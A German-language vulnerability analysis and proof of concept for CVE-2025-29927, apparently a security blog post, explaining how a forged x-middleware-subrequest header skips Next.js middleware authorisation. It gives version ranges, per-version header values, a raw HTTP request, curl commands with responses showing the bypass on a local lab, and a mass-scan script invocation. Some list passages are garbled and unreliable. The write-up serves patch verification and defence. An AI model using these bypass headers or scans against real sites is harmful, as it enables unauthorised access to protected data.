
Tiefgehende Analyse und PoC für CVE-2025-29927, eine Next.js Middleware-Autorisierungsumgehung über den x-middleware-subrequest-Header. Enthält Nuclei-Vorlagen und ein Massen-Scan-Skript zum Testen.
Dieses Dokument enthält eine Untersuchung der Sicherheitslücke CVE-2025-29927, die den Middleware-Mechanismus im Next.js-Framework betrifft.
Next.js ist ein beliebtes Open-Source-Framework von Vercel für die Entwicklung von Anwendungen auf Basis von React. Es unterstützt serverseitiges Rendern, statische Generierung und ein flexibles System für Middleware, das für Routing, Weiterleitungen, Sicherheitsheader und Zugriffsprüfungen verwendet wird.
Im März 2025 wurde die kritische Sicherheitslücke CVE-2025-29927 entdeckt, die mit der Verarbeitung des internen Subrequest-Headers zusammenhängt.
Der Kern des Problems ist die Möglichkeit, Autorisierungsprüfungen zu umgehen in Anwendungen, bei denen die Zugriffskontrolle genau in der Middleware implementiert ist, indem ein spezieller Wert in den HTTP-Header x-middleware-subrequest eingefügt wird. Wenn die Sicherheit nur auf der Middleware basiert, kann ein Angreifer Zugriff auf geschützte Routen oder Daten erhalten.
Betroffene Next.js-Versionen und Korrekturen (laut öffentlichen Quellen und offiziellen Materialien):
Korrekturen sind in den Releases 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 verfügbar.
Next.js wird häufig in der Produktion eingesetzt; die Sicherheitslücke, die die Middleware-Schicht betrifft (die oft für Authentifizierung/Autorisierung und Sicherheitsrichtlinien verwendet wird), birgt ein hohes praktisches Risiko.
Schrittweise Analyse der Sicherheitslücke und Aufbereitung des gesamten Forschungszyklus:
Sammlung und Strukturierung von Materialien.
Systematisierung öffentlicher Quellen zu CVE-2025-29927; Darstellung des Defekts, seiner Auslösebedingungen und bestätigten Versionen/Patches.
Bestimmung von CPE und Konfigurationsbedingungen.
Auflistung von CPE/Versionen und Beschreibung der Konfigurationen, unter denen die Sicherheitslücke reproduzierbar ist (z. B. Self-Hosted-Deployment und Autorisierung auf Middleware-Ebene).
Sichere Demonstration.
Erstellung einer reproduzierbaren Demo in einer Testumgebung (ohne destruktive Aktionen), die den Middleware-Bypass in anfälligen Versionen bestätigt.
Methoden zur Massenüberprüfung.
Beschreibung und Implementierung von drei sicheren Ansätzen:

Ursache. In Next.js wird der interne Header x-middleware-subrequest verwendet, um interne Unteranfragen zu verfolgen und Rekursion in der Middleware zu verhindern. In anfälligen Zweigen können externe Clients diesen Header mit einem „erwarteten“ Wert einfügen – und die Laufzeit überspringt die Ausführung der Middleware und leitet die Anfrage direkt an den Routenhandler weiter.
Rolle des Headers. Der Header x-middleware-subrequest war ursprünglich als interner Indikator gedacht, dass die aktuelle HTTP-Anfrage vom Framework selbst als Zwischenunteranfrage gestartet wurde und nicht direkt vom Benutzer kommt.
Er wird für die korrekte Funktion interner Next.js-Mechanismen benötigt: Neben dem Routing hilft dieses Flag, Endlosschleifen zu vermeiden, indem jeder aufgerufene Zwischenschicht „markiert“ wird.
Aber genau diese Logik führte zu einem unbeabsichtigten Sicherheitsloch: Ein Client, der diesen Header selbst hinzufügt, kann das System dazu bringen, seine Anfrage als intern zu behandeln und somit die Autorisierungsprüfungen zu umgehen.
Entwicklung der Logik.
Aktuelle NVD-Einträge verweisen auf das Produkt Vercel Next.js mit der Zielsoftware node.js. Für die anfälligen Zweige gelten die folgenden Konfigurationen (Versionsbereiche auf CPE-Konfigurationsebene in NVD):
| CPE URI | Anfälliger Versionsbereich |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |
Anmerkung: In der CVE-Beschreibung wird auch angegeben, dass die Sicherheitslücke im Allgemeinen „ab 11.1.4 bis 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3“ unter den unten genannten Bedingungen reproduzierbar ist.
next start, Build mit output: 'standalone') oder in einer Umgebung, in der Middleware bei eingehenden Anfragen ohne Perimeter-Filterung interner Header ausgeführt wird.x-middleware-subrequest verwerfen (z. B. WAF-Regeln).x-middleware-subrequestUm Endlosrekursion des Zwischencodes zu verhindern, erzeugt und liest die Laufzeit einen internen Header:
: getrennten Elementen interpretiert – es entsteht ein Array von „Unteranfragen“.NextResponse.next()),x-middleware-subrequest-id) hinzugefügt, die mit der aktuellen Prozesssitzung verknüpft ist; stimmt sie nicht überein, wird der eingehende x-middleware-subrequest serverseitig gelöscht.Ein Angreifer sendet eine HTTP-Anfrage an die Ziel-Next.js-Anwendung und fügt den internen Header x-middleware-subrequest hinzu.
Als Wert wird der Pfad zur Middleware-Datei angegeben – z. B. pages/_middleware, middleware oder src/middleware.
Der benötigte Wert hängt von der verwendeten Next.js-Version und der Projektstruktur ab.
Wenn eine solche Anfrage die Anwendung erreicht, interpretiert die interne Framework-Logik sie als interne Unteranfrage und geht davon aus, dass die Zwischenschicht bereits ausgeführt wurde.
Infolgedessen werden die Authentifizierungs- und Autorisierungsprüfungen, die normalerweise in der Middleware stattfinden, tatsächlich umgangen.
Wichtig: Dieses Material dient ausschließlich zur Überprüfung des Patches und zur Risikomodellierung in einer geschlossenen Testumgebung.
Prüfungen in der Produktionsinfrastruktur sind nur mit Genehmigung des Ressourcenbesitzers zulässig.
Next.js verwendet den internen Header x-middleware-subrequest, um interne Unteranfragen zu markieren und einen rekursiven Middleware-Start zu verhindern.
Bei der Verarbeitung einer Anfrage wird der Header-Wert anhand des :-Zeichens aufgeteilt und mit dem Namen der aktuellen Middleware verglichen.
In neueren Versionen wurde eine Tiefengrenze hinzugefügt (MAX_RECURSION_DEPTH, normalerweise 5).
Wenn die Bedingung (Namensübereinstimmung oder Erreichen des Limits) erfüllt ist, überspringt Next.js die Middleware und leitet die Anfrage weiter.
Ein Angreifer kann einen korrekten Header-Wert erzeugen, der eine interne Unteranfrage simuliert.
_middleware.*_middleware.js/ts und befanden sich im Verzeichnis pages/.x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts./src liegen.x-middleware-subrequest: middleware oder x-middleware-subrequest: src/middleware: aufgeteilt, und wenn die Anzahl der Wiederholungen des Middleware-Namens ≥ 5 ist,NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware oder x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareIn den Versionen 15.x wurde die Logik überarbeitet, um endlose rekursive Aufrufe zu verhindern.
Wenn eine Middleware auf einem Pfad ausgelöst wird (z. B. /api/*), erhält Next.js eine andere URL, die ebenfalls dieselbe Middleware auslöst.
Das Framework zählt die Anzahl der Auslösungen über den Header x-middleware-subrequest.
Wenn die Anzahl der Aufrufe den festgelegten Schwellenwert erreicht (MAX_RECURSION_DEPTH, standardmäßig 5), werden weitere Middleware-Aufrufe blockiert.
Ein Angreifer kann dieses Verhalten ausnutzen, indem er im Header vorab einen Wert mit der erforderlichen Anzahl von Wiederholungen angibt und so künstlich die Tiefengrenze erreicht – die Middleware wird dann vollständig übersprungen.
Für alte Zweige wird der Header-Wert gemäß den oben genannten Optionen gewählt
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest war als interner Mechanismus zum Schutz vor Endlosrekursion gedacht.
In anfälligen Versionen fehlte jedoch eine Filterung externer Anfragen: Der Client konnte den Header fälschen,
die Bedingung für das Überspringen (Namensübereinstimmung oder Erreichen der Tiefengrenze) erfüllen
und direkt auf den Handler der geschützten Route zugreifen.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
Testen:
(Beispiel basiert auf Next.js 15.2.2; für andere Zweige wählen Sie den Header-Wert gemäß der Tabelle im PoC-Abschnitt)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest auf WAF/Proxy-Ebene.X-Middleware-Subrequest-Headers.
⚠️ Achtung: Die Vorlage ist nur für Tests auf eigenen oder autorisierten Zielen bestimmt. Die Verwendung auf fremden Diensten ohne Zustimmung der Eigentümer ist illegal.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS